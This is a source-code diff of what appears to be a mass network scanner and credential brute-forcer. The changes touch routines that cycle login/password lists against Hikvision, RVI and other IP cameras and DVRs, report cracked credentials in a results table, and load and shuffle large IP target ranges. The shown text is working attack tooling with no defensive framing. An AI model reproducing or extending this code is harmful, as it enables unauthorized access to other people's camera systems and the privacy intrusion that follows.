|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
|
Sleep(200);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
||||||
if (gMaxBrutingThreads > 0) {
|
if (gMaxBrutingThreads > 0) {
|
||||||
|
|
||||||
@ -52,3 +398,21 @@ lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
|||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
lopaStr HikVis::RVILobby(const char *ip, const int port) {
|
||||||
|
if (gMaxBrutingThreads > 0) {
|
||||||
|
|
||||||
|
while (BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||||
|
|
||||||
|
++baCount;
|
||||||
|
++BrutingThrds;
|
||||||
|
const lopaStr &lps = rviLogin(ip, port);
|
||||||
|
--BrutingThrds;
|
||||||
|
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
lopaStr lps = { "UNKNOWN", "", "" };
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
|
}
|
@ -8,11 +8,16 @@ class HikVis {
|
|||||||
public: static bool isInitialized;
|
public: static bool isInitialized;
|
||||||
|
|
||||||
private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort);
|
private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort);
|
||||||
|
lopaStr rviLogin(const char * sDVRIP, int wDVRPort);
|
||||||
|
|
||||||
public:
|
public:
|
||||||
|
static bool checkHikk(const char * sDVRIP, int port);
|
||||||
|
static bool checkRVI(const char * sDVRIP, int port);
|
||||||
|
static bool checkSAFARI(const char * sDVRIP, int port);
|
||||||
void hikInit();
|
void hikInit();
|
||||||
void hikCleanup();
|
void hikCleanup();
|
||||||
lopaStr HVLobby(const char *ip, const int port);
|
lopaStr HVLobby(const char *ip, const int port);
|
||||||
|
lopaStr RVILobby(const char *ip, const int port);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // UTILS_H
|
#endif // UTILS_H
|
43
IPCAuth.cpp
43
IPCAuth.cpp
@ -11,6 +11,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
char pass[128] = {0};
|
char pass[128] = {0};
|
||||||
char request[1024] = {0};
|
char request[1024] = {0};
|
||||||
int passCounter = 1;
|
int passCounter = 1;
|
||||||
|
int rowIndex = -1;
|
||||||
|
|
||||||
std::vector<char*> negVector;
|
std::vector<char*> negVector;
|
||||||
if(strcmp(SPEC, "IPC") == 0)
|
if(strcmp(SPEC, "IPC") == 0)
|
||||||
@ -179,7 +180,15 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
if (doPost) res = con.nConnect(request, port, &buffer, postData);
|
if (doPost) res = con.nConnect(request, port, &buffer, postData);
|
||||||
else res = con.nConnect(request, port, &buffer);
|
else res = con.nConnect(request, port, &buffer);
|
||||||
|
|
||||||
if (res == -2) return lps;
|
if (res == -2) {
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
for (int i = 0; i < negVector.size(); ++i)
|
for (int i = 0; i < negVector.size(); ++i)
|
||||||
{
|
{
|
||||||
@ -194,18 +203,40 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
{
|
{
|
||||||
strcpy(lps.login, loginLst[i]);
|
strcpy(lps.login, loginLst[i]);
|
||||||
strcpy(lps.pass, passLst[j]);
|
strcpy(lps.pass, passLst[j]);
|
||||||
|
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||||
|
}
|
||||||
|
|
||||||
return lps;
|
return lps;
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
|
if (BALogSwitched) {
|
||||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
if (rowIndex == -1) {
|
||||||
QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||||
|
QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||||
|
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else { rowIndex = -1; }
|
||||||
|
++passCounter;
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
if (rowIndex == -1) {
|
||||||
|
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||||
|
}
|
||||||
return lps;
|
return lps;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
589
MainStarter.cpp
589
MainStarter.cpp
@ -10,16 +10,16 @@
|
|||||||
int gTimeOut = 3;
|
int gTimeOut = 3;
|
||||||
int gPingTimeout = 1;
|
int gPingTimeout = 1;
|
||||||
int gMode;
|
int gMode;
|
||||||
int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
|
int PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
|
||||||
int AnomC1 = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, ssh = 0;
|
int camerasC1 = 0, filtered = 0, Overl = 0, Alive = 0, saved = 0, other = 0, ssh = 0;
|
||||||
int found = 0, indexIP = 0;
|
int found = 0, indexIP = 0;
|
||||||
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
int MaxPass = 0, MaxLogin = 0,
|
||||||
|
MaxWFLogin = 0, MaxWFPass = 0,
|
||||||
|
MaxFTPLogin = 0, MaxFTPPass = 0,
|
||||||
|
MaxSSHPass = 0;
|
||||||
int baCount = 0;
|
int baCount = 0;
|
||||||
int gMaxBrutingThreads = 50;
|
int gMaxBrutingThreads = 50;
|
||||||
unsigned int Activity = 0;
|
unsigned int Activity = 0;
|
||||||
char **loginLst, **passLst;
|
|
||||||
char **wfLoginLst, **wfPassLst;
|
|
||||||
char **sshlpLst;
|
|
||||||
char gTLD[128] = { 0 };
|
char gTLD[128] = { 0 };
|
||||||
char gPorts[65536] = { 0 };
|
char gPorts[65536] = { 0 };
|
||||||
char currentIP[MAX_ADDR_LEN] = { 0 };
|
char currentIP[MAX_ADDR_LEN] = { 0 };
|
||||||
@ -42,18 +42,20 @@ char metaTargets[256] = { 0 };
|
|||||||
char metaETA[256] = { 0 };
|
char metaETA[256] = { 0 };
|
||||||
char metaOffline[256] = { 0 };
|
char metaOffline[256] = { 0 };
|
||||||
|
|
||||||
|
bool saveBackup;
|
||||||
|
|
||||||
|
|
||||||
void MainStarter::unBlockButtons(){
|
void MainStarter::unBlockButtons(){
|
||||||
stt->doEmitionBlockButton(false);
|
stt->doEmitionBlockButton(false);
|
||||||
}
|
}
|
||||||
int MainStarter::fileLoader(const char *fileName) {
|
int MainStarter::fileLoader(const char *fileName) {
|
||||||
|
|
||||||
char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
|
|
||||||
unsigned int importFileSize = 0;
|
unsigned int importFileSize = 0;
|
||||||
|
|
||||||
FILE *fl = fopen(fileName, "r");
|
FILE *fl = fopen(fileName, "r");
|
||||||
if (fl != NULL)
|
if (fl != NULL)
|
||||||
{
|
{
|
||||||
|
char curIP[256] = { 0 };
|
||||||
while (fgets((char*)curIP, sizeof(curIP), fl) != NULL)
|
while (fgets((char*)curIP, sizeof(curIP), fl) != NULL)
|
||||||
{
|
{
|
||||||
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
||||||
@ -62,187 +64,169 @@ int MainStarter::fileLoader(const char *fileName) {
|
|||||||
) ++importFileSize;
|
) ++importFileSize;
|
||||||
ZeroMemory(curIP, sizeof(curIP));
|
ZeroMemory(curIP, sizeof(curIP));
|
||||||
};
|
};
|
||||||
|
|
||||||
if (importFileSize == 0) {
|
|
||||||
fclose(fl);
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
ipsstartfl = new unsigned int*[importFileSize + 1];
|
|
||||||
ipsendfl = new unsigned int*[importFileSize + 1];
|
|
||||||
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
|
||||||
ZeroMemory(ipsendfl, sizeof(ipsendfl));
|
|
||||||
|
|
||||||
for (int i = 0; i < importFileSize; ++i)
|
|
||||||
{
|
|
||||||
ipsstartfl[i] = new unsigned int[4];
|
|
||||||
ipsendfl[i] = new unsigned int[4];
|
|
||||||
|
|
||||||
ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
|
|
||||||
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
|
||||||
};
|
|
||||||
|
|
||||||
rewind(fl);
|
|
||||||
|
|
||||||
while (fgets(curIP, 256, fl) != NULL)
|
|
||||||
{
|
|
||||||
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
|
||||||
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
|
||||||
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
|
|
||||||
{
|
|
||||||
strcpy(curIPCopy, curIP);
|
|
||||||
char *ptr1 = strstr(curIP, " ");
|
|
||||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
|
|
||||||
ptr1 = strstr(curIP, " ");
|
|
||||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
|
||||||
ptr1 = strstr(curIP, "#");
|
|
||||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
|
||||||
if (strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
|
|
||||||
{
|
|
||||||
ZeroMemory(curIPCopy, sizeof(curIPCopy));
|
|
||||||
ZeroMemory(curIP, sizeof(curIP));
|
|
||||||
continue;
|
|
||||||
};
|
|
||||||
|
|
||||||
if (strstr(curIP, "-") != NULL)
|
|
||||||
{
|
|
||||||
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIP, '-');
|
|
||||||
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
|
|
||||||
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
|
|
||||||
|
|
||||||
ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
|
|
||||||
ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
|
|
||||||
ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2];
|
|
||||||
ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3];
|
|
||||||
|
|
||||||
ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0];
|
|
||||||
ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1];
|
|
||||||
ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2];
|
|
||||||
ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3];
|
|
||||||
|
|
||||||
if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0]
|
|
||||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
|
||||||
&& ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1]
|
|
||||||
)
|
|
||||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
|
||||||
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
|
|
||||||
&& ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2]
|
|
||||||
)
|
|
||||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
|
||||||
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
|
|
||||||
&& ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2]
|
|
||||||
&& ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3]
|
|
||||||
)
|
|
||||||
)
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
|
||||||
QString::number(MainStarter::flCounter) +
|
|
||||||
"] String-> [" +
|
|
||||||
QString(curIPCopy) + "]");
|
|
||||||
return -1;
|
|
||||||
};
|
|
||||||
|
|
||||||
unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) +
|
|
||||||
(ipsstartfl[MainStarter::flCounter][1] * 65536) +
|
|
||||||
(ipsstartfl[MainStarter::flCounter][2] * 256) +
|
|
||||||
ipsstartfl[MainStarter::flCounter][3];
|
|
||||||
unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) +
|
|
||||||
(ipsendfl[MainStarter::flCounter][1] * 65536) +
|
|
||||||
(ipsendfl[MainStarter::flCounter][2] * 256) +
|
|
||||||
ipsendfl[MainStarter::flCounter][3];
|
|
||||||
|
|
||||||
if (ip1 > ip2) {
|
|
||||||
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
|
||||||
QString(curIP) + ")");
|
|
||||||
}
|
|
||||||
|
|
||||||
gTargets += ip2 - ip1 + 1;
|
|
||||||
++MainStarter::flCounter;
|
|
||||||
}
|
|
||||||
else if (strstr(curIP, "/") != NULL)
|
|
||||||
{
|
|
||||||
if (strlen(curIP) > 18) {
|
|
||||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
|
||||||
QString::number(MainStarter::flCounter) +
|
|
||||||
"] String-> [" +
|
|
||||||
QString(curIPCopy) +
|
|
||||||
"]");
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
|
||||||
unsigned int netmask = atoi(strstr(curIP, "/") + 1);
|
|
||||||
|
|
||||||
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIP, '.');
|
|
||||||
|
|
||||||
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
|
||||||
|
|
||||||
/*Set the bytes which won't be changed*/
|
|
||||||
for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){
|
|
||||||
ip_min[tmp1 - 1] = ip[tmp1 - 1];
|
|
||||||
ip_max[tmp1 - 1] = ip[tmp1 - 1];
|
|
||||||
}
|
|
||||||
/*Set the bytes which should be 0ed or 255ed.*/
|
|
||||||
for (tmp1 = tmp2, ++tmp2; tmp2< 4; tmp2++){
|
|
||||||
ip_min[tmp2] = 0;
|
|
||||||
ip_max[tmp2] = 255;
|
|
||||||
}
|
|
||||||
/* Finally set the one which has to be shifted.*/
|
|
||||||
if (tmp1 < 4){
|
|
||||||
tmp2 = 8 - netmask % 8;
|
|
||||||
ip_min[tmp1] = ip[tmp1] >> tmp2;
|
|
||||||
ip_min[tmp1] <<= tmp2;
|
|
||||||
ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
ipsstartfl[MainStarter::flCounter][0] = ip_min[0];
|
|
||||||
ipsstartfl[MainStarter::flCounter][1] = ip_min[1];
|
|
||||||
ipsstartfl[MainStarter::flCounter][2] = ip_min[2];
|
|
||||||
ipsstartfl[MainStarter::flCounter][3] = ip_min[3];
|
|
||||||
|
|
||||||
ipsendfl[MainStarter::flCounter][0] = ip_max[0];
|
|
||||||
ipsendfl[MainStarter::flCounter][1] = ip_max[1];
|
|
||||||
ipsendfl[MainStarter::flCounter][2] = ip_max[2];
|
|
||||||
ipsendfl[MainStarter::flCounter][3] = ip_max[3];
|
|
||||||
|
|
||||||
unsigned long ip1 = (ip_min[0] * 16777216) +
|
|
||||||
(ip_min[1] * 65536) +
|
|
||||||
(ip_min[2] * 256) +
|
|
||||||
ip_min[3];
|
|
||||||
unsigned long ip2 = (ip_max[0] * 16777216) +
|
|
||||||
(ip_max[1] * 65536) +
|
|
||||||
(ip_max[2] * 256) +
|
|
||||||
ip_max[3];
|
|
||||||
|
|
||||||
if (ip1 > ip2) {
|
|
||||||
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
|
||||||
QString(curIP) + ")");
|
|
||||||
}
|
|
||||||
|
|
||||||
gTargets += ip2 - ip1 + 1;
|
|
||||||
++MainStarter::flCounter;
|
|
||||||
}
|
|
||||||
else if (strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL)
|
|
||||||
{
|
|
||||||
///DUMMY///
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
|
||||||
QString::number(MainStarter::flCounter) +
|
|
||||||
"] String-> [" +
|
|
||||||
QString(curIPCopy) +
|
|
||||||
"]");
|
|
||||||
return -1;
|
|
||||||
};
|
|
||||||
ZeroMemory(curIP, sizeof(curIP));
|
|
||||||
};
|
|
||||||
};
|
|
||||||
gTargetsNumber = gTargets;
|
|
||||||
|
|
||||||
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
|
|
||||||
fclose(fl);
|
fclose(fl);
|
||||||
}
|
}
|
||||||
else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
||||||
|
|
||||||
|
if (importFileSize == 0) return -1;
|
||||||
|
|
||||||
|
ipsstartfl = new unsigned int*[importFileSize + 1];
|
||||||
|
ipsendfl = new unsigned int*[importFileSize + 1];
|
||||||
|
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
||||||
|
ZeroMemory(ipsendfl, sizeof(ipsendfl));
|
||||||
|
|
||||||
|
for (int i = 0; i < importFileSize; ++i)
|
||||||
|
{
|
||||||
|
ipsstartfl[i] = new unsigned int[4];
|
||||||
|
ipsendfl[i] = new unsigned int[4];
|
||||||
|
|
||||||
|
ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
|
||||||
|
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
||||||
|
};
|
||||||
|
|
||||||
|
std::vector<std::string> shuffleArray;
|
||||||
|
ifstream inputStream(fileName);
|
||||||
|
std::string curIPStr;
|
||||||
|
|
||||||
|
while (!inputStream.eof())
|
||||||
|
{
|
||||||
|
std::getline(inputStream, curIPStr);
|
||||||
|
if (curIPStr.size() > 1
|
||||||
|
&& curIPStr.find("#") == std::string::npos) shuffleArray.push_back(curIPStr);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::random_shuffle(shuffleArray.begin(), shuffleArray.end());
|
||||||
|
for (int i = 0; i < importFileSize; ++i) {
|
||||||
|
curIPStr = shuffleArray[i];
|
||||||
|
if (curIPStr.find("-") != std::string::npos) {
|
||||||
|
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIPStr, '-');
|
||||||
|
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
|
||||||
|
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
|
||||||
|
|
||||||
|
ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
|
||||||
|
ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
|
||||||
|
ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2];
|
||||||
|
ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3];
|
||||||
|
|
||||||
|
ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0];
|
||||||
|
ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1];
|
||||||
|
ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2];
|
||||||
|
ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3];
|
||||||
|
|
||||||
|
if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0]
|
||||||
|
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||||
|
&& ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1]
|
||||||
|
)
|
||||||
|
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||||
|
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
|
||||||
|
&& ipsstartfl[MainStarter::flCounter][2] > ipsendfl[MainStarter::flCounter][2]
|
||||||
|
)
|
||||||
|
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||||
|
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
|
||||||
|
&& ipsstartfl[MainStarter::flCounter][2] >= ipsendfl[MainStarter::flCounter][2]
|
||||||
|
&& ipsstartfl[MainStarter::flCounter][3] > ipsendfl[MainStarter::flCounter][3]
|
||||||
|
)
|
||||||
|
)
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
|
||||||
|
QString(curIPStr.c_str()) + "]");
|
||||||
|
return -1;
|
||||||
|
};
|
||||||
|
|
||||||
|
unsigned long ip1 = (ipsstartfl[MainStarter::flCounter][0] * 16777216) +
|
||||||
|
(ipsstartfl[MainStarter::flCounter][1] * 65536) +
|
||||||
|
(ipsstartfl[MainStarter::flCounter][2] * 256) +
|
||||||
|
ipsstartfl[MainStarter::flCounter][3];
|
||||||
|
unsigned long ip2 = (ipsendfl[MainStarter::flCounter][0] * 16777216) +
|
||||||
|
(ipsendfl[MainStarter::flCounter][1] * 65536) +
|
||||||
|
(ipsendfl[MainStarter::flCounter][2] * 256) +
|
||||||
|
ipsendfl[MainStarter::flCounter][3];
|
||||||
|
|
||||||
|
if (ip1 > ip2) {
|
||||||
|
stt->doEmitionRedFoundData(" Malformed input: check your range (" +
|
||||||
|
QString(curIPStr.c_str()) + ")");
|
||||||
|
}
|
||||||
|
|
||||||
|
gTargets += ip2 - ip1 + 1;
|
||||||
|
++MainStarter::flCounter;
|
||||||
|
}
|
||||||
|
else if (curIPStr.find("/") != std::string::npos)
|
||||||
|
{
|
||||||
|
if (curIPStr.size() > 18) {
|
||||||
|
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
|
||||||
|
QString(curIPStr.c_str()) +
|
||||||
|
"]");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
||||||
|
unsigned int netmask = atoi(strstr(curIPStr.c_str(), "/") + 1);
|
||||||
|
|
||||||
|
std::vector<int> tmpIPVec = Utils::splitToIntVector(curIPStr.c_str(), '.');
|
||||||
|
|
||||||
|
for (int i = 0; i < tmpIPVec.size(); ++i) ip[i] = tmpIPVec[i];
|
||||||
|
|
||||||
|
/*Set the bytes which won't be changed*/
|
||||||
|
for (tmp1 = tmp2 = netmask / 8; tmp1>0; tmp1--){
|
||||||
|
ip_min[tmp1 - 1] = ip[tmp1 - 1];
|
||||||
|
ip_max[tmp1 - 1] = ip[tmp1 - 1];
|
||||||
|
}
|
||||||
|
/*Set the bytes which should be 0ed or 255ed.*/
|
||||||
|
for (tmp1 = tmp2, ++tmp2; tmp2 < 4; tmp2++){
|
||||||
|
ip_min[tmp2] = 0;
|
||||||
|
ip_max[tmp2] = 255;
|
||||||
|
}
|
||||||
|
/* Finally set the one which has to be shifted.*/
|
||||||
|
if (tmp1 < 4){
|
||||||
|
tmp2 = 8 - netmask % 8;
|
||||||
|
ip_min[tmp1] = ip[tmp1] >> tmp2;
|
||||||
|
ip_min[tmp1] <<= tmp2;
|
||||||
|
ip_max[tmp1] = ip_min[tmp1] + pow(2, tmp2) - 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
ipsstartfl[MainStarter::flCounter][0] = ip_min[0];
|
||||||
|
ipsstartfl[MainStarter::flCounter][1] = ip_min[1];
|
||||||
|
ipsstartfl[MainStarter::flCounter][2] = ip_min[2];
|
||||||
|
ipsstartfl[MainStarter::flCounter][3] = ip_min[3];
|
||||||
|
|
||||||
|
ipsendfl[MainStarter::flCounter][0] = ip_max[0];
|
||||||
|
ipsendfl[MainStarter::flCounter][1] = ip_max[1];
|
||||||
|
ipsendfl[MainStarter::flCounter][2] = ip_max[2];
|
||||||
|
ipsendfl[MainStarter::flCounter][3] = ip_max[3];
|
||||||
|
|
||||||
|
unsigned long ip1 = (ip_min[0] * 16777216) +
|
||||||
|
(ip_min[1] * 65536) +
|
||||||
|
(ip_min[2] * 256) +
|
||||||
|
ip_min[3];
|
||||||
|
unsigned long ip2 = (ip_max[0] * 16777216) +
|
||||||
|
(ip_max[1] * 65536) +
|
||||||
|
(ip_max[2] * 256) +
|
||||||
|
ip_max[3];
|
||||||
|
|
||||||
|
if (ip1 > ip2) {
|
||||||
|
stt->doEmitionRedFoundData("Malformed input: check your range (" +
|
||||||
|
QString(curIPStr.c_str()) + ")");
|
||||||
|
}
|
||||||
|
|
||||||
|
gTargets += ip2 - ip1 + 1;
|
||||||
|
++MainStarter::flCounter;
|
||||||
|
}
|
||||||
|
else if (strstr(curIPStr.c_str(), "RESTORE_IMPORT_SESSION") != NULL)
|
||||||
|
{
|
||||||
|
///DUMMY///
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||||
|
QString::number(MainStarter::flCounter) +
|
||||||
|
"] String-> [" +
|
||||||
|
QString(curIPStr.c_str()) +
|
||||||
|
"]");
|
||||||
|
return -1;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
gTargetsNumber = gTargets;
|
||||||
|
stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsNumber + 1) + " hosts)");
|
||||||
|
|
||||||
}
|
}
|
||||||
int MainStarter::loadTargets(const char *data) {
|
int MainStarter::loadTargets(const char *data) {
|
||||||
|
|
||||||
@ -379,12 +363,16 @@ void MainStarter::saveBackupToFile()
|
|||||||
|
|
||||||
if (MainStarter::flCounter > 0)
|
if (MainStarter::flCounter > 0)
|
||||||
{
|
{
|
||||||
|
if (!saveBackup) return;
|
||||||
FILE *savingFile = fopen("tempIPLst.bk", "w");
|
FILE *savingFile = fopen("tempIPLst.bk", "w");
|
||||||
if (savingFile != NULL)
|
if (savingFile != NULL)
|
||||||
{
|
{
|
||||||
if (gflIndex < MainStarter::flCounter) {
|
if (gflIndex < MainStarter::flCounter) {
|
||||||
sprintf(ipRange, "%s-%d.%d.%d.%d\n",
|
sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
|
||||||
currentIP,
|
ipsstartfl[gflIndex][0],
|
||||||
|
ipsstartfl[gflIndex][1],
|
||||||
|
ipsstartfl[gflIndex][2],
|
||||||
|
ipsstartfl[gflIndex][3],
|
||||||
ipsendfl[gflIndex][0],
|
ipsendfl[gflIndex][0],
|
||||||
ipsendfl[gflIndex][1],
|
ipsendfl[gflIndex][1],
|
||||||
ipsendfl[gflIndex][2],
|
ipsendfl[gflIndex][2],
|
||||||
@ -496,7 +484,7 @@ void MainStarter::saver()
|
|||||||
{
|
{
|
||||||
